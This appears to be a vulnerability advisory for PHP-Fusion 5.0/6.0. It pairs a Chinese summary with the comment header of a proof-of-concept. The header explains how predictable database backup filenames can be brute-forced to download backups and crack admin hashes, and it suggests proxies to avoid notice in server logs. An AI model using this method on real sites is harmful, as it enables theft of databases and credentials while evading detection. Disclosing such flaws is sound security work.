PHP-Fusion5.0和6.0版本对web文档根目录下存储的数据库文件访问控制不足，且文件名易于预测，利用此漏洞，远程攻击者可借助对PHP-Fusion6.0版本的administration/db_backups目录下，或PHP-Fusion5.0版本的fusion_admin/db_backups目录下文件名的直接请求来获取敏感信息。

 # PHP-Fusion db backup proof-of-concept by Easyex    #
 # Database backup vuln in v6.00.105 and below        #
 ######################################################
 # Description: When a db (database) backup is made   #
 # it is saved in /administration/db_backups/ on 6.0  #
 # and on 5.0 it is saved in /fusion_admin/db_backups/#
 # The backup file can be saved in 2 formats: .sql or #
 # .sql.gz and is hidden by a blank index.php file but#
 # can be downloaded client-side, The filename is for #
 # example : backup_2005-06-22_2208.sql.gz so what we #
 # can do is generate 0001 to 9999 and request the    #
 # file and download it. If a db file is found an     #
 # attacker can get the admin hash and crack  it or   #
 # retrieve other sensitive information from the db!  #
 ######################################################

 # 9999 requests to the host is alot, And would get noticed in the server log!
 # If you re-coded your own script with proxy support you would be fine.
 # You need to know the backup year-month-day to be able to find a backup file unless the server is set to automaticlly   
 # backup the php-fusiondatabase.
